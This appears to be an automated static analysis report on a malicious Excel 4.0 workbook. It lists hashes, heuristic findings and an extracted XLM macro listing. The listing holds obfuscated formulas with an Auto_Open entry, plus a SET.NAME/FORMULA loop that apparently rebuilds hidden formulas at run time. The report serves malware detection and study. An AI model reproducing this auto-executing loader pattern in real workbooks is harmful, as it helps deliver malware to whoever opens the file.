Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d130eda8cc94f68d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:37:08 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: a59b59539fac7004d68ad04a59aab99b SHA-1: f17c504cfe97a09facdc7082e39c3eed88e606ea SHA-256: d130eda8cc94f68d71b18723b365058830feef35fd28b0b8db4d8b5b8676a47f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6495 bytes
SHA-256: 131a37d02c5ef5e67b85a179c357eb4f145381af147201615a85ca1ae92aa30c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ouxxJs
' 0018     23 LABEL : Cell Value, String Constant - AfYuQQqz len=0 
' 0018     22 LABEL : Cell Value, String Constant - AQiElIl len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C155 
' 0018     25 LABEL : Cell Value, String Constant - AxnPFBUjhf len=0 
' 0018     27 LABEL : Cell Value, String Constant - efeRLrFFysCh len=0 
' 0018     26 LABEL : Cell Value, String Constant - EJLdFtGEhwm len=0 
' 0018     23 LABEL : Cell Value, String Constant - eRefmKJg len=0 
' 0018     25 LABEL : Cell Value, String Constant - hKGCWpzNiR len=0 
' 0018     26 LABEL : Cell Value, String Constant - hMaspNbLJzt len=0 
' 0018     26 LABEL : Cell Value, String Constant - JGclDiGnfYH len=0 
' 0018     21 LABEL : Cell Value, String Constant - katGkR len=0 
' 0018     25 LABEL : Cell Value, String Constant - lEvormLloK len=0 
' 0018     20 LABEL : Cell Value, String Constant - lSmRS len=0 
' 0018     24 LABEL : Cell Value, String Constant - LzNlKIVwa len=0 
' 0018     21 LABEL : Cell Value, String Constant - mnkRFt len=0 
' 0018     22 LABEL : Cell Value, String Constant - OrocLXV len=0 
' 0018     26 LABEL : Cell Value, String Constant - pYKpZwCAIWe len=0 
' 0018     26 LABEL : Cell Value, String Constant - tcOMxfJomOv len=0 
' 0018     27 LABEL : Cell Value, String Constant - VkWQoLkGNuoi len=0 
' 0018     23 LABEL : Cell Value, String Constant - wFaqxtZA len=0 
' 0018     21 LABEL : Cell Value, String Constant - wgjwqH len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ouxxJs,C70,"SET.NAME("katGkR",VALUE("0"))",""
'  ouxxJs,C73,"SET.NAME("hKGCWpzNiR",katGkR)",""
'  ouxxJs,C75,"SET.NAME("VkWQoLkGNuoi",katGkR)",""
'  ouxxJs,C78,"SET.NAME("wFaqxtZA",COUNTA(pYKpZwCAIWe))",""
'  ouxxJs,C81,"SET.NAME("JGclDiGnfYH",COUNTA(lSmRS))",""
'  ouxxJs,C86,[],""
'  ouxxJs,C88,"SET.NAME("LzNlKIVwa","")",""
'  ouxxJs,C91,"hKGCWpzNiR",""
'  ouxxJs,C94,"SET.NAME("tcOMxfJomOv",HLOOKUP("*",pYKpZwCAIWe,hKGCWpzNiR,FALSE))",""
'  ouxxJs,C96,"AfYuQQqz",""
'  ouxxJs,C101,"SET.NAME("OrocLXV",katGkR)",""
'  ouxxJs,C104,[],""
'  ouxxJs,C109,"OrocLXV",""
'  ouxxJs,C112,"AQiElIl",""
'  ouxxJs,C114,"hMaspNbLJzt",""
'  ouxxJs,C117,"EJLdFtGEhwm",""
'  ouxxJs,C121,"SET.NAME("lEvormLloK",VALUE(HLOOKUP("*",lSmRS,EJLdFtGEhwm,FALSE)))",""
'  ouxxJs,C123,"wgjwqH",""
'  ouxxJs,C125,"LzNlKIVwa",""
'  ouxxJs,C129,"VkWQoLkGNuoi",""
'  ouxxJs,C133,NEXT(),""
'  ouxxJs,C137,"efeRLrFFysCh",""
'  ouxxJs,C140,"SET.NAME("f",INT(T(FORMULA(T(LzNlKIVwa)&"",""&T(efeRLrFFysCh)))))",""
'  ouxxJs,C145,"AxnPFBUjhf",""
'  ouxxJs,C149,NEXT(),""
'  ouxxJs,C153,RETURN(),""
'  ouxxJs,C183,"SET.NAME("eRefmKJg",C70)",""
'  ouxxJs,C185,"pYKpZwCAIWe",""
'  ouxxJs,C189,"SET.NAME("lSmRS",R71C14)",""
'  ouxxJs,C193,"SET.NAME("AxnPFBUjhf",201)",""
'  ouxxJs,C197,"SET.NAME("mnkRFt",3)",""
'  ouxxJs,C200,eRefmKJg(),""
'  ouxxJs,C201,HALT(),""